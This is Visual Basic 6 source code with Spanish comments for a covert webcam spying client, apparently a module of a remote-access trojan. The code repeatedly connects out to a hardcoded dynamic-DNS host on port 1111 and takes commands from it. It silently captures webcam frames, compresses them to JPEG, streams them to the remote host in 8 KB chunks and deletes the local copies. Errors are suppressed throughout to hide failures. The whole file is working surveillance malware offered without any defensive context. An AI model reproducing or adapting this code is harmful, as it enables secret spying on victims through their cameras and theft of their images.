Dim WithEvents sock As CSocketMaster
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Dim eipi As String * 30, p As String * 5, datos As String

Private Sub Form_Load()
Set sock = New CSocketMaster
Timer1.Interval = 2000
eipi = "www.host.no-ip.com"
p = 1111
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
On Error Resume Next
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
End Sub  ' enviamos disconect para dejar d enviar datos a la cam

Private Sub sock_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
sock.GetData datos

   If datos = "camon" Then
   Timer3.Enabled = True
   End If
   
   If datos = "camstop" Then
   Timer3.Enabled = False
   DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
   cammuere
   End If
   
   If datos = "cammuere" Then
   cammuere
   End If

Error:

End Sub

Private Sub Timer1_Timer()    ' intervalo = 2000 ( 2 sg )
On Error Resume Next
If sock.State <> 7 Then
sock.CloseSck
sock.Connect eipi, p
Timer2.Enabled = True
End If
End Sub

Private Function camon()
On Error Resume Next ' en caso d errror...
Dim lol As Integer ' val
Dim frago As Integer ' + val
Dim goblin As String
Timer3.Enabled = False  ' lo desabilitamos al timer
lol = FreeFile   ' Devuelve el siguiente numero de archivo valido que no esta en uso
frago = 8192  ' la val frago tiene un valor de 8kb
goblin = "c:\Juazcp.jpg"  ' goblin es = a ese paht & archivo
SendMessage mCapHwnd, DISCONNECT, 0, 0 ' por si estavamos conectados enviando datos, antes de volver a conectar desconectamos.
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0) 
SendMessage mCapHwnd, Connect, 0, 0
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
PV.Picture = Clipboard.GetData ' almacenamos  lo datos del clipboard en el picture
SavePicture PV.Picture, "c:\" & "Juaz.jpg" 'ahora salvamos la imagen del picture en esa ruta
PictureView1.OpenPicture ("c:\Juaz.jpg")  ' abrimos la imagen con el control pictureview
If PictureView1.SaveJPEG("C:\Juazcp.jpg", True, 50) Then
Else  ' la guardamos con una calidad de "50" para bajarle el peso
End If ' fin d la condicion if
Kill ("c:\Juaz.jpg")  ' eliminamos la primera captura que salvamos.
Open goblin For Binary As #lol ' abrimos n modo binario
Do While Not EOF(lol)  ' analizamos el tamaño del archivo en bytes
camun = Input(frago, #lol)  ' en camun metemos esos datos
sock.SendData camun ' los vamos enviando
DoEvents
Loop ' vuelta arriba hasta terminar con el tamaño y d haberlo enviado todo
Close #lol ' cerramos
cammuere ' ejecutamos esta funcion..que lo k hace esta bien claro, solo es irte a la funcion.
Timer3.Enabled = True  ' lo abilitamos
End Function

Private Function cammuere()
On Error Resume Next
Kill ("c:\Juazcp.jpg")
End Function

Private Sub Timer3_Timer()  ' esta desabilitado y de intervalo 1500
On Error Resume Next
camon
End Sub